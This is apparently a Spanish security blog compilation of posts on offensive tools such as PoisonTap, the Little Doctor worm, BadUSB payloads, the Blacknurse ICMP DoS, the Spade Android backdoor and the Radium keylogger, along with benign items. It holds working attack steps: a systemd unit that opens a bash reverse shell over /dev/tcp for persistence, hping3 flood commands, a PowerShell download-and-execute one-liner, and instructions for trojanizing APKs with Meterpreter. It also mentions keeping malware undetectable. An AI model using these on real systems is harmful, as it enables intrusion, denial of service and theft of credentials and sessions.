PoisonTap, el nuevo monstruo de las galletas

Muchos de nosotros siempre nos hemos preocupado de conseguir las mejores herramientas para hacer nuestro trabajo de pentesting, ya sea en cuanto a software y hardware, en muchos de los casos, el software es gratuito debido a que se ha publicado en GitHub o en cualquier otra web por el simple hecho de compartir descubrimientos y algún tipo de conocimiento; al contrario que el hardware, la mayoría de las veces (por no decir siempre) cuesta dinero, y también, de vez en cuando, suele costar un ojo de la cara, y si ya hablamos de material dedicado a seguridad informática, añadimos al ojo de la cara, también un riñón.

Hace unos días hice un post de como crear un USB Rubber Ducky "low cost" , bueno pues hoy os traigo un nuevo ataque low-cost (con hardware incluido) que podréis añadir a vuestro inventario por tan solo... ¡5$!

Estoy hablando de una nueva herramienta creada por Samy Kamkar, conocido por detectar vulnerabilidades en geolocalización y su accesorio RollJam (que podréis encontrar en su web), para ello, simplemente utiliza una Raspberry Pi Zero, un cable USB y como software, Node.js. Esta herramienta, llamada PoisonTap, es capaz de emular una conexión Ethernet a través de USB (o Thunderbolt) que funciona de "gateway" para por ejemplo, poder capturar las cookies de las 1.000.000 webs más usadas, la creación de puertas traseras, también llamadas backdoors, o capturar sesiones, todo esto desde un servidor remoto.

Cabe decir, que una de las mayores ventajas de esta herramienta es que funciona también en ordenadores que se encuentran bloqueados.

Características de la herramienta:
  • Mediante la conexión USB, es capaz de emular una conexión Ethernet, ya mencionada anteriormente.
  • Captura todo el trafico de internet que tenga la maquina atacada. 
  • Captura y almacena todas las cookies HTTP de 1.000.000 de sitios web.
  • Expone el enrutador interno, lo que da la posibilidad al atacante de conectarse remotamente.
  • Instala backdoors persistentes en el cache HTTP para multitud de dominios, todo esto con acceso a las cookies del usuario mediante el envenenamiento de cache (cache poisoning).
  • Permite al atacante realizar peticiones HTTP remotamente con las cookies del usuario víctima en cualquier dominio con backdoor.
  • No requiere que la maquina esté desbloqueada.
  • Los backdoors y el acceso remoto persiste, incluso si el dispositivo de removido de la máquina víctima.
Si tienes una Raspberry Pi 1/2/3, también estás de suerte, podrás usarlo en sustitución a la Raspberry Pi Zero, pero necesitaras un cable Ethernet-USB.

PoC de PoisonTap:

Tor Phone, el prototipo de Tor hacia un teléfono seguro

Esperamos ver pronto y en la calle el llamado 'Tor Phone', un nuevo teléfono que ha sido diseñado por el desarrollador de Tor Mike Perry y que se basa en Copperhead OS, una distribución de Android que viene con múltiples mejoras de seguridad. Recordemos que el equipo de seguridad de Android de Google ha aceptado muchos parches de Copperhead en su base de código de Android.

"Copperhead es también la única ROM de Android que soporta el boot verificado, lo que evita que los exploits modifiquen las particiones de arranque, sistema, recuperación y proveedor
", explica Perry.

Tor Phone también usa OrWall, un firewall para Android que dirige todo el tráfico a través de la red Tor y bloquea otras conexiones, de forma similar a lo que hace la distro Tails Linux Live CD.
Además OrWall permite tener el control completo del smartphone, pudiendo elegir qué aplicación debe tener el tráfico cifrado por Tor.

De momento el prototipo actual tiene muchas "piezas" inacabadas. En el futuro, el proyecto desea añadir más soporte de dispositivos, soporte de MicroG, API de Netfilter, reducibilidad, estabilidad de Orbot, etc.

Inicialmente el modelo del hardware elegido es el Google Nexus 6P. Podéis ver el detalle del proceso de instalación del prototipo en la web de Tor Project, además o animamos a colaborar o contribuir con el proyecto:

https://blog.torproject.org/blog/mission-improbable-hardening-android-security-and-privacy

IP sobre códigos QR

Ya hemos visto algunas y variopintas formas de transmitir información por canales poco habituales y hoy vamos a ver otra muy curiosa de la mano de Eric Seifert, que es capaz de enviar datos usando tan sólo un monitor y una cámara web mediante ¡códigos QR!

La idea es sencilla: usar un interfaz tun para enviar datos bidireccionalmente usando códigos qr que son mostrados en los monitores y leídos mediante webcams. Aunque para implementarlo Eric tuvo que resolver algunos problemas.

Primero, idear alguna manera de confirmar que el otro extremo recibe y lee el mensaje, para lo cuál agregó un simple encabezado SEQ/ACK que incrementa la secuencia con cada nuevo qrcode e incrementa el acknowledge cuando lee con éxito el del otro lado.
En segundo lugar, necesitaba una forma de codificar los datos. Los Códigos QR soportan un modo binario, pero este es el menos eficiente por lo que decidió usar en su lugar alfanuméricos y base32 para codificar los datos de los paquetes (base64 no funcionaría porque el código QR en este modo sólo admite letras mayúsculas).
También tuvo un problema con la biblioteca que utilizaba para codificar los datos, qrtools, que generaba un código qr pero los datos no eran los mismos al decodificar y lo arregló mediante la detección de éste y luego añadiendo un padding a los datos y volviéndolo a intentar hasta que funcione, para luego acabar quitando el padding de nuevo en el otro extremo.

De momento el *problema* es la transmisión de los datos. Empezó con tan sólo 100 bytes por segundo y consiguió multiplicar por 10 la velocidad hasta 1-2kBps quitando el header syn/ack. Eso sí, la latencia sigue siendo un gran handicap. De todas formas, no deja de ser interesante como técnica (quizás algo exótica) y posible método de exfiltración de datos, así que os animo a echar un ojo a los vídeos y al código Python en Github:

Videos Poc:
Github:
Fuentes:

"Little Doctor", un gusano capaz de comprometer aplicaciones de chat basadas en JavaScript

Una de las charlas y herramientas más impresionantes de la décima edición de la conferencia de hacking Kiwicon en Wellington fue sin duda "Little Doctor", un gusano capaz de comprometer aplicaciones de chat basadas en JavaScript usando ataques inteligentes con propagación y capacidades de señuelo/decoy.


Los servicios basados en Electron, un framework JavaScript para aplicaciones de escritorio, o que contienen una vista web (webview) incrustada, están en problemas...
Rocket Chat publicó un parche 13 horas después de su divulgación y Ryver lo hizo en un día.  Por otro lado Slack utiliza webviews pero parece ser seguro.

El hacker australiano Shubham Shah, junto con Moloch de Bishop Fox, y su ex colega Matt Bryant, desarrollaron el framework y además encontraron un 0-day en Microsoft Azure Storage Explorer que publicaron al no tener respuesta de Microsoft después de 90 días.

"Éste es un gusano multi-plataforma mediante el cuál podemos robar archivos accediendo a las API de WebRTC y de Cordova", dijo Moloch. "Little Doctor está escrito de forma modular - todo lo que necesitas es tu propio módulo de propagación y puedes crear un gusano básicamente  en cualquier plataforma que desee". "Tan pronto como se inicia el programa se lanza un nuevo canal, se establece el tema en el código de explotación y comienza a buscar e invitar a personas".

Tienes el código en Github en https://github.com/infosec-au/little-doctor.

Puedes usarlo a través de un contenedor docker editando docker-compose.yml y ejecutando docker-compose up, o si "controlas" el servidor, simplemente colocando main.js. Por favor, úsalo con responsabilidad y sólo con propósitos educativos. Sé bueno ;)

ClusterSSH o cómo manejar varias sesiones SSH de forma concurrente

Muchas veces para preparar un DDoS realizar tareas de mantenimiento en un pool de servidores tenemos que teclear los mismos comandos una y otra vez. Afortunadamente con ClusterSSH (cssh) podemos interactuar en varias sesiones SSH a la vez y ejecutar comandos de forma simultánea en un grupo de servidores (cluster).

Básicamente lo que hará esta herramienta tan útil es abrir un xterminal por cada uno de los servidores del clúster y todo lo que escribamos en la consola de administración "central" será replicado a todas ellas. O si eventualmente queremos sólo escribir en un terminal específico sólo tendremos que seleccionarlo y escribir en él. Muy sencillo pero útil.

La mejor manera para acceder por ssh en este escenario es utilizar un par de claves pública/privada sin passphrase de tal manera que no se nos solicite ninguna contraseña durante el acceso. Así que empezamos creándolas:
ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
SHA256:ST+bpz1QgvzRCGl3sL25buzfzFMkDieNkt+fMDflpeY root@machine01
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|        .        |
|       +.. . o   |
|      =.=o+ = + .|
|     o OSooO B o |
|      E * ++= o .|
|     . o Boo.  . |
|        o =+.+.  |
|         =+.o.+. |
+----[SHA256]-----+

En mi caso utilizaré varias máquinas (droplets) de DigitalOcean por lo que sólo tenemos que crear una nueva key ssh (pegando el contenido del fichero id_rsa.pub) y luego seleccionar la clave al crear nuevos servidores desde un snapshot.

BadUSB, fácil y sencillo

Hace bastante tiempo se descubrió una nueva amenaza, llamada BadUSB, que venía en forma de hardware... Concretamente en forma de USB, que en algunos casos da el pego de la típica memoria USB que todo el mundo tiene y conecta y desconecta al ordenador cuando quiere almacenar algún tipo de información o consultar otra que había guardado anteriormente.

Para los que no conozcan estos dispositivos el nombre lo dice todo: BadUSB, porque estos USBs no se utilizan como almacenamiento sino para hacerse pasar por otro dispositivo como por ejemplo: teclados, ratones... que ejecutarán unas ordenes programadas previamente por el atacante. Y es que este falso USB al ser conectado al ordenador o dispositivo objetivo podrá ejecutar comandos en la terminal, instalar una puerta trasera para posteriormente acceder a ese ordenador, robar credenciales y multitud de cosas más.

Todo esto es debido a que los falsos USBs al ser conectados a una máquina objetivo se ejecutan con otro firmware que no es el normal de una memoria USB (como aparentaban), haciéndose pasar por cualquier otro tipo de dispositivo y siendo capaces de ejecutar cualquier clase de acción sobre la máquina a la que está conectada sin que el usuario en cuestión se entere.

Existen en el mercado diversos dispositivos con estas características pero el que más se adecua a lo que estoy hablando es el USB Rubber Ducky, un dispositivo creado por Hak5.

El USB Rubber Ducky actúa como un teclado que ejecuta y teclea las ordenes que hayamos almacenado sobre su micro SD con tan solo haberlo conectado a otro dispositivo.

El precio de este USB son 44,99$ más los gastos de envió, que son algo más de 10$ (para España). Un dispositivo algo caro, ¿no creéis? Así que, que me diríais si pudiésemos conseguir lo mismo por aproximadamente la mitad de precio que el USB Rubber Ducky...Pues sí, podemos montarnos nuestro propio USB Rubber Ducky a la mitad de precio, todo esto gracias a Teensy que funciona con Arduino

Para montarlo necesitamos: una placa Teensy, tener instalado Arduino y un cable USB. 
Muchos me dirán que es más sencillo todo con el USB Rubber Ducky porque la sintaxis al programar el USB es más sencilla, más fácil y rápida que programar con Arduino.

Eso es cierto, pero hoy traigo una muy buena herramienta para ésto, Brutal, una herramienta desarrollada por el grupo ScreetSec (creadores de TheFatRat o LALIN) y que ha sido estrenada hace unos días; esta herramienta tiene diversos módulos que nos proporcionan payloads escritos para Arduino con diversas funciones, que nos facilitarán mucho las cosas a la hora de usar nuestro Teensy como un BadUSB.

La herramienta tiene los siguientes módulos:
  1. Genera un payload que ejecute una conexion TCP reversa a través de PowerShell.
  2. Descarga y ejecuta un backdoor.
  3. Obtiene las credenciales gracias a MimiKatz.
  4. Genera payloads para gastar bromas.
  5. Genera payloads para administrar Windows.
  6. Genera diversos ataques para Windows. 
Instalación y ejecución de esta herramienta:
  • Instalar los paquetes de PaensyLib en la librería de Arduino.
  • git clone https://github.com/Screetsec/Brutal.git
  • cd Brutal
  • chmod +x Brutal.sh
  • ./Brutal.sh
PoC de Brutal:

[ebook gratuito] "Open Source Compliance in the Enterprise": guía práctica para el uso de código abierto en las empresas

La Fundación Linux (Linux Foundation) lanzó hoy un libro electrónico gratuito, "Open Source Compliance in the Enterprise", que sirve como una guía práctica para las organizaciones sobre la mejor manera de usar código abierto y participar en comunidades de código abierto, cumpliendo con su espíritu y licencia.

Escrito por Ibrahim Haddad, Ph.D., vicepresidente de I+D y jefe del grupo de código abierto en Samsung Research America, el nuevo libro electrónico tiene como objetivo mejorar la comprensión de los problemas relacionados con la concesión de licencias, el desarrollo y la reutilización de software de código abierto. Haddad es responsable de supervisar la estrategia y ejecución de código abierto de Samsung, los proyectos internos y externos de colaboración en I+D y es ex gerente de la Fundación Linux.

Los nueve capítulos del libro llevan a los lectores a través de todo el proceso de cumplimiento con código abierto, incluyendo una introducción al tema, una descripción de cómo establecer un programa de administración de código abierto en su organización y una visión general de los roles relevantes. Se proporcionan ejemplos de mejores prácticas y listas de verificación de cumplimiento para ayudar a los responsables de las actividades de cumplimiento a crear sus propios procesos y políticas.

A medida que la combinación y la construcción de componentes de software de código abierto se ha convertido en la manera de facto para las empresas para crear nuevos productos y servicios, las organizaciones quieren saber cómo participar mejor en las comunidades de código abierto y cómo hacerlo de manera legal y responsable.

Bajo este "modelo de desarrollo multi-fuente", los componentes de software pueden consistir en código fuente proveniente de cualquier número de fuentes diferentes y ser licenciados bajo diferentes licencias. Como resultado, los riesgos que las empresas manejaban anteriormente a través de licencias de empresa a empresa y negociaciones de acuerdos se gestionan ahora a través de programas de cumplimiento sólidos y prácticas de ingeniería cuidadosas.

Las iniciativas y proyectos de código abierto proporcionan a las empresas y otras organizaciones un vehículo para acelerar la innovación a través de la colaboración. Pero hay responsabilidades importantes que vienen con los beneficios de trabajar en equipo con la comunidad de código abierto: Las empresas deben garantizar el cumplimiento de las obligaciones que acompañan a las licencias de código abierto.

"El cumplimiento de código abierto es el proceso por el cual los usuarios, integradores y desarrolladores de código abierto observan los avisos de copyright y cumplen las obligaciones de licencia para sus componentes de software de código abierto", según el libro.

Para obtener más información sobre los beneficios de adecuarse al uso de código abierto y cómo lograrlo, no lo dudes y descarga ya el e-libro gratuito: http://go.linuxfoundation.org/open-source-compliance-ebook

Videojuegos divertidos, pero también... ¿(in-)seguros?

Todos sabemos lo divertido que puede ser un videojuego, las horas interminables que puedes tirarte jugando para alcanzar una meta, ya sea un nivel, un rango... También conocemos la importancia económica que está teniendo esta industria respecto a otras grandes, como es el cine, los deportes, etc. llegándose a comparar la audiencia de una competición mundial de un videojuego con las finales de la NBA, las finales de la Stanley Cup de Hockey sobre hielo e incluso la SuperBowl. Os podéis hacer a la idea de la importancia que están cobrando los videojuegos en nuestra vida diaria pero... ¿son tan seguros como divertidos?

En diversos servicios de videojuegos ya se ha puesto en entredicho y en varias ocasiones su seguridad, lo que conlleva por ende la seguridad de los usuarios que lo disfrutan. Ya no hablamos sólo de cuentas y contraseñas que se hayan podido obtener vulnerando los servidores de dicho videojuego, sino de la seguridad de cada uno de los usuarios que han instalado en sus ordenadores personales dicho videojuego para disfrutar de él; y que alguna vulnerabilidad, por ejemplo local (ya sea por un error de programación o por un fallo al organizar los permisos de cada proceso que se ejecute para que el videojuego funcione) deje con los «calzoncillos al aire» al usuario que lo ejecuta para simplemente divertirse.

Hoy vengo a hablar sobre este aspecto de un famosísimo videojuego llamado «League of Legends», un videojuego que ha conseguido de media en 2013 que 27 millones de personas jueguen diariamente a este juego, siendo uno de los más importantes en esta industria, pero no de los más seguros actualmente...

Estoy hablando de una vulnerabilidad publicada en junio por Cyril Vallicari, que afecta a todos los usuarios que tengan instalado dicho videojuego y lo ejecuten como administrador (es normal que los usuarios ejecuten este videojuego como administrador debido a que soluciona muchos problemas, como errores de conexión con el servidor y problemas con el firewall). El mismo investigador que descubrió la vulnerabilidad explica que es producida por una mala configuración a la hora de ser instalado, concretamente por los permisos de un directorio del videojuego.

Esta vulnerabilidad puede ser explotada sustituyendo un ejecutable perteneciente a la carpeta del «League of Legends» llamado «rads_user_kernel.exe» por cualquier clase de malware que a su vez podría ser ejecutado con sólo tratar de iniciar el juego normalmente, lo que produciría una escalada de privilegios para que el malware en cuestión se pueda ejecutar como administrador.

Los dueños de la empresa, Riot Games, clasifican esta vulnerabilidad de poco importante y aseguran que en el próximo launcher del videojuego esta amenaza desaparecerá. Mientras tanto, Cyril Vallicari nos recomienda parchearlo por nuestra cuenta para evitar disgustos.

Como comento, ésta vulnerabilidad afecta, en teoría, a todos los sistemas Windows que ejecuten el «League of Legends» como administrador, y os dejo una PoC de como se podría explotar:

PowerForensics: un framework en PowerShell para el forense de discos

PowerForensics es un framework en PowerShell desarrollado por Jared Atkinson (@jaredcatkinson) cuyo propósito es proporcionar todo lo necesario para el análisis forense del disco duro. Actualmente PowerForensics soporta sistemas de archivos NTFS y FAT y se está trabajando en el soporte para el Sistema de Archivos Extendido (Extended File System) y soporte HFS+.

Para instalarlo tenemos dos opciones:

- mediante PowerShell Gallery:
PS> Find-Module -Name *Forensic*
PS> Save-Module -Name PowerForensics -Path <path>
PS> Install-Module -Name PowerForensics

* nota: especifica '-Scope CurrentUser' si quieres que sea usable por el usuario actual y se instale en %UserProfile%\Documents\WindowsPowerShell\Modules

- mediante el repositorio GitHub, bajándolo y descomprimiéndolo en el PSModulePath (normalmente en C:\Program Files\WindowsPowerShell\Modules\); o usando el instalador de Alexander Knorr:

iex (new-object System.Net.WebClient).DownloadString("https://gist.github.com/opexxx/93fbddd30552a5f8e628ec1388e79b9f/raw/afd73bf4d9f66f03537beaf16f154acc264c5012/PowerforensicsInstall.ps1")

Una vez instalado puedes ver todos los cmdlets con:
PS> Get-Command -Module PowerForensics

Boot Sector:
Get-ForensicMasterBootRecord - gets the MasterBootRecord from the first sector of the hard drive
Get-ForensicGuidPartitionTable - gets the GuidPartitionTable from the first sector of the hard drive
Get-ForensicBootSector - gets the appropriate boot sector (MBR or GPT) from the specified drive
Get-ForensicPartitionTable - gets the partition table for the specified drive
 
Extended File System 4 (ext4):
Get-ForensicSuperblock - returns the ext4 SuperBlock object
Get-ForensicBlockGroupDescriptor - returns the Block Group Descriptor Table entries
Get-ForensicInode - returns the Inode Table entries
New Technology File System (NTFS):
Get-ForensicAttrDef - gets definitions of MFT Attributes (parses $AttrDef)
Get-ForensicBitmap - determines if a cluster is marked as in use (parses $Bitmap)
Get-ForensicFileRecord - gets Master File Table entries (parses $MFT)
Get-ForensicFileRecordIndex - gets a file's MFT record index number
Get-ForensicUsnJrnl - getss Usn Journal Entries (parses $UsnJrnl:$J)
Get-ForensicUsnJrnlInformation - getss UsnJrnl Metadata (parses $UsnJrnl:$Max)
Get-ForensicVolumeBootRecord - gets the VolumeBootRecord from the first sector of the volume (parses $Boot)
Get-ForensicVolumeInformation - gets the $Volume file's $VOLUME_INFORMATION attribute
Get-ForensicVolumeName - gets the $Volume file's $VOLUME_NAME attribute
Get-ForensicFileSlack - gets the specified volume's slack space
Get-ForensicMftSlack - gets the Master File Table (MFT) slack space for the specified volume
Get-ForensicUnallocatedSpace - gets the unallocated space on the specified partition/volume (parses $Bitmap)
Windows Artifacts
Get-AlternateDataStream - gets the NTFS Alternate Data Streams on the specified volume
Get-ForensicEventLog - gets the events in an event log or in all event logs
Get-ForensicExplorerTypedPath - gets the file paths that have been typed into the Windows Explorer application
Get-ForensicNetworkList - gets a list of networks that the system has previously been connected to 
Get-ForensicOfficeFileMru - gets a files that have been recently opened in Microsoft Office
Get-ForensicOfficeOutlookCatalog - gets a Outlook pst file paths
Get-ForensicOfficePlaceMru - gets a directories that have recently been opened in Microsoft Office
Get-ForensicOfficeTrustRecord - gets files that have been explicitly trusted within MicrosoftOffice
Get-ForensicPrefetch - gets Windows Prefetch artifacts by parsing the file's binary structure
Get-ForensicRunKey - gets the persistence mechanism stored in registry run keys
Get-ForensicRunMostRecentlyUsed - gets the commands that were issued by the user to the run dialog
Get-ForensicScheduledJob - gets Scheduled Jobs (at jobs) by parsing the file's binary structures
Get-ForensicShellLink - gets ShellLink (.lnk) artifacts by parsing the file's binary structure
Get-ForensicSid - gets the machine Security Identifier from the SAM hive
Get-ForensicTimezone - gets the system's timezone based on the registry setting
Get-ForensicTypedUrl - gets the Universal Resource Locators (URL) that have been typed into Internet Explorer
Get-ForensicUserAssist - gets the UserAssist entries from the specified volume
Get-ForensicWindowsSearchHistory - gets the terms that have been searched for using the Windows Search feature
Application Compatibility Cache
Get-ForensicAmcache - gets previously run commands from the Amcache.hve registry hive
Get-ForensicRecentFileCache - gets previously run commands from the RecentFileCache.bcf file
Get-ForensicShimcache - gets previously run commands from the AppCompatCache (AppCompatibility on XP) registry key
Windows Registry
Get-ForensicRegistryKey - gets the keys of the specified registry hive
Get-ForensicRegistryValue - gets the values of the specified registry key
Forensic Timeline
ConvertTo-ForensicTimeline - converts an object to a ForensicTimeline object
Get-ForensicTimeline - creates a forensic timeline
Utilities
ConvertFrom-BinaryData - implements PowerForensics' BinShred API to parse binary data into an object
Copy-ForensicFile - creates a copy of a file from its raw bytes on disk 
Get-ForensicChildItem - returns a directory's contents by parsing the MFT structures
Get-ForensicContent - gets the content of a file from its raw bytes on disk
Invoke-ForensicDD - provides a bit for bit copy of a specified device
API pública 

PowerForensics se basa en una librería en C# (Assembly) que proporciona una API forense pública. Todos los cmdlets de este módulo se crean a partir de esa API pública y las tareas se pueden expandir fácilmente para crear nuevos cmdlets. Próximamente se publicará la información de la API.

Más información y proyecto en: https://github.com/Invoke-IR/PowerForensics

Blacknurse: ataque ICMP para un DoS efectivo y con poco ancho de banda

El SOC del operador danés TDC, especializado en técnicas anti-DDoS, ha observado un ataque por ICMP que es incluso efectivo si se realiza con poco ancho de banda. Lo han llamado Blacknurse y a diferencia que los ICMP floods tradicionales que utilizan el típico echo (ICMP Type 8 Code 0), éste se basa mensajes de tipo destino y puerto inalcanzables (ICMP Type 3 Code 3).

Con un ancho de banda de 15 a 18 Mbit/s es posible generar alrededor de 40 a 50K paquetes por segundo y afectar a una serie de firewalls aumentando drásticamente su carga de CPU. Cuando el ataque está en curso los usuarios del lado de la LAN ya no podrán enviar/recibir tráfico hacia/desde Internet. Todos los firewalls que hemos visto se recuperan cuando el ataque se detiene.

La mejor manera de probarlo es mediante hping3:

hping3 -1 -C 3 -K 3 -i u20

hping3 -1 -C 3 -K 3 --flood


Basado en las pruebas, un simple portátil puede producir aprox. un ataque DoS de 180 Mbit/s con esos comandos. Además los dispositivos vulnerables usan más recursos para procesar mensajes ICMP de tipo 3 (unreachable) que de tipo 8 (echo), así que como resultado empiezan a droppear paquetes antes.

De momento ya se han confirmado vulnerable los siguientes firewalls:
 

- Cisco ASA 5515, 5525 (configuración por defecto)
- SonicWall
- Algunos modelos/versiones de Palo Alto todavía sin especificar

La mejor manera de prevenir este ataque es deshabilitar los mensajes ICMP de tipo 3 en los interfaces WAN expuestos en Internet . Sin embargo en los ASA 5500 hacerlo puede conllevar otros problemas:

We recommend that you grant permission for the ICMP unreachable message type (type 3). Denying ICMP unreachable messages disables ICMP Path MTU discovery, which can halt IPSec and PPTP traffic. See RFC 1195 and RFC 1435 for details about Path MTU Discovery.”

Así que lo mejor es usar hardware multicore en el que Blacknurse es menos efectivo o poner un IPS delante. Por ejemplo las reglas para su detección con Snort serían:

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"TDC-SOC - Possible BlackNurse attack from external source "; itype:3; icode:3; detection_filter:track by_dst, count 250, seconds 1; reference:url, soc.tdc.dk/blacknurse/blacknurse.pdf; metadata:TDC-SOC-CERT,18032016; priority:3; sid:88000012; rev:1;)

alert icmp $HOME_NET any -> $EXTERNAL_NET any (msg:"TDC-SOC - Possible BlackNurse attack from internal source"; itype:3; icode:3; detection_filter:track by_dst, count 250, seconds 1; reference:url, soc.tdc.dk/blacknurse/blacknurse.pdf; metadata:TDC-SOC-CERT,18032016; priority:3; sid:88000013; rev:1;) 

Fuentes:
- BlackNurse Denial of Service Attack
- The Blacknurse attack (pdf) 
- Blacknurse official web page
- Blacknurse PoC en C 

Spade o cómo preparar un backdoor para Android en menos de 2 minutos

Spade es el sueño de cualquier script kiddie que quiera comprometer un dispositivo Android en pocos minutos, pero también una oportunidad para cualquiera que tenga propósitos didácticos y quiera revisar el código en Python y ver como bindear un apk embebiendo un backdoor con un payload de Android de Metasploit. Los únicos requisitos son tener instalado Metasploit y las librerías lib32stdc++6, lib32ncurses5 y lib32z1.

Si quieres verlo un funcionamiento sólo tienes que clonar el repositorio y ejecutar el script principal pasándole como parámetro cualquier APK que queramos "infectar". Puedes descargar cualquier apk para probar por ejemplo desde apk4fun.com:

git clone https://github.com/suraj-root/spade.git
cd spade/
./spade.py net.zedge.android-5.8.0-www.APK4Fun.com.apk
 

Como podéis comprobar arriba, simplemente hemos seleccionado el payload para una sesión inversa con meterpreter mediante HTTP (opción 1), la IP y el puerto de la máquina del atacante. En unos minutos obtendremos el apk malicioso y cuando la víctima lo instale y lo ejecute automáticamente obtendremos una shell en el dispositivo.

Os dejo un vídeo con la PoC para que lo veáis también en acción:


Fuente: https://github.com/suraj-root/

La Web Oscura no es tan oscura, según un estudio

A pesar de la típica reputación de "sitio nefasto repleto de actividades ilícitas", la Dark Web o Web Oscura es en su mayoría legal, según un nuevo informe de una investigación realizada por Terbium Labs.

"Separar el hecho de la ficción: la verdad sobre la web oscura", escrito por Clare Gollnic y Emily Wilson, dos investigadores de una empresa de inteligencia de datos en la Dark Web de Baltimore, derriba muchos mitos acerca de lo que la gente piensa sobre la web oscura y pretende desacreditar los informes anteriores que ofrecen poco más que hipótesis superficiales.

Evidentemente el estudio se basa en el análisis de contenido que detectó, la mayoría en la red Tor. Pero afirmando que evitan el sesgo de selección en su muestreo, los investigadores encontraron que el contenido legal comprende el 53.4 por ciento de todos los dominios y 54.5 por ciento de todas las URLs recogidas.

El extremismo no fue un factor predominante, representando sólo el 0.25 por ciento de la actividad detectada, y no se encontró ninguna mención sobre venta de armas de destrucción masiva en las 400 URLs que tomaron de muestra. Las páginas relacionadas con distintas técnicas de hacking y exploits supusieron el 1,3%. Por otro lado la pornografía está ampliamente extendida si bien no significa que toda ella sea ilegal.

La actividad ilícita más vista en el estudio fue la venta de drogas, presente en el 45 por ciento de todas las publicaciones ilegales, aunque sólo representaba un 12 por ciento del contenido general.

En fin, un estudio bastante interesante cuyo paper podéis descargar en: https://terbiumlabs.com/darkwebstudy.html

Fuente: Dark web, not so dark, study

Cómo instalar todas las herramientas de Kali en Ubuntu 16.04

¿Quieres tener todo el arsenal de Kali en tu distribución Linux? Viendo el impresionante listado actual de herramientas, instalar una a una sería casi imposible o al menos demasiado tedioso, por lo que si quieres armar hasta los dientes a tu distro te recomiendo utilizar Katoolin de Lionsec, un script en Python que automatiza todo el proceso.

Precisamente a continuación podéis ver un vídeo con el uso de este script en la última release de Ubuntu, la 16.04:

Como veis los pasos son tan sencillos como:

1: Actualizar los paquetes del sistema
 
  sudo apt-get update

2: Instalar git

   sudo apt-get install git

3: Descargar el script e instalar las herramientas

   sudo git clone https://github.com/LionSec/katoolin.git
   sudo cp katoolin/katoolin.py /usr/bin/katoolin
   sudo chmod ugo+x /usr/bin/katoolin
   cd /usr/bin
   ./katoolin


Fuente: https://github.com/LionSec/katoolin

Radium, un keylogger escrito en Python

En los años 70 espías soviéticos instalaron keyloggers en las máquinas de escribir eléctricas modelo Selectric de la embajada de EE.UU. y del Consulado. En la actualidad, los servicios especiales rusos siguen utilizando máquinas de escribir manuales para tratar información clasificada...

Los keyloggers tanto de hardware como de software son tan casi antiguos como la propia informática y están presentes desde el mismo nacimiento del hacking, los ha habido y habrá siempre. Hoy os traemos uno más (que no menos): Radium, un keylogger escrito en Python, capaz de espiar tanto aplicaciones como pulsaciones de teclas. Además, puede registrar capturas de pantalla de la acción del usuario como el malware CloudFanta. Pero lo mejor es que tenemos disponible el código con enorme *potencial* educativo :)

https://github.com/mehulj94/Radium-Keylogger

Características

- Registro de aplicaciones y pulsaciones de teclas
- Registro de capturas de pantalla
- Extracción de la estructura del árbol de directorios de la unidad
- Envío de logs por correo electrónico
- Recuperación de la contraseña para:
        . Chrome
        . Mozilla
        . Filezilla
        . Core FTP
        . CyberDuck
        . FTPNavigator
        . WinSCP
        . Outlook
        . Putty
        . Skype
        . Genéricas de red
- Robo de cookies
- Mecanismo de actualización del stub de Keylogger
- Recopilación de información del sistema
        . IP interna y externa
        . Salida de Ipconfig /all
        . Plataforma

Abusando de los servicios de usuario de systemd

No sin cierta controversia, la mayoría de las distribuciones de Linux están adoptando o planeando adoptar el sistema de inicio systemd.

Como muchos ya sabéis, systemd se basa en el manejo de unidades (unit) que básicamente son cualquier recurso que el sistema sabe que puede operar y/o administrar, ya sea un servicio, socket, dispositivo, punto de montaje, etc.

La forma en la que systemd debe manejar una unidad viene definida en ficheros que por defecto se encuentran en /etc/systemd/system, aunque podrían estar en cualquier otra ubicación como por ejemplo las de usuario que se encuentran normalmente en $HOME/.config/systemd/user o $HOME/.local/share/systemd/user/.

Recordemos que systemd ofrece a los usuarios la capacidad de ejecutar una instancia de systemd para gestionar la sesión y los servicios que normalmente se ejecutan como un usuario diferente a root o un usuario especial. Por lo que si cualquier usuario puede interactuar con las unidades ubicadas en sus directorios también cualquiera puede configurar un servicio que se ejecute al inicio del sistema.

Y si ese servicio es... digamos... ¿una shell inversa? Pues como si de una oferta se tratase, tendríamos un 2x1 a explotar: backdoor y persistencia.

Empecemos con el backdoor, tan fácil como usar un dispositivo especial TCP en bash:
[Unit]
Description=Black magic happening, avert your eyes

[Service]
RemainAfterExit=yes
Type=simple
ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.10.100.123/31337; cat <&5 | while read line; do $line 2>&5 >&5; done"

[Install]
WantedBy=default.target

Listado de servicios de análisis multiAV online

Hoy en nuestro grupo de Telegram nos pedían un post acerca del nuevo servicio de análisis multi-av online de StopVir.us auspiciado por la magnífica comunidad de Indetectables.net; y la verdad, no tenemos demasiada información, sólo que es un servicio gratuito y totalmente anónimo que permite escanear un fichero o URL con unos 35 antivirus que se actualizan cada hora:


Siendo francos, para mantener nuestro crypter o malware FuD (completamente indetectable) lo más seguro sería analizarlo de forma local con la total certeza de que nuestra muestra no sale de nuestro entorno, pero ciertamente escasean herramientas de análisis local como KIMS,  el wrapper en Python/JSON de Joxean o la que vimos recientemente Malice basada en contenedores docker. Así que muchas veces por rapidez y eficacia no queda otra que confiar en servicios online como el de StopVir.
 
Por ello, hemos querido además recopilar una lista de servicios online de análisis multi-antivirus dividiéndolos fundamentalmente en dos categorías: los que distribuyen las muestras analizadas y los que no. Como veréis, no es una lista demasiado extensa pero es que tampoco proliferan demasiado y lo que aparecen por una razón u otra no perduran demasiado, así que si conocéis otros por favor, no dudéis en comentarnos:

Distribuyen muestras
NO distribuyen muestras (o eso dicen)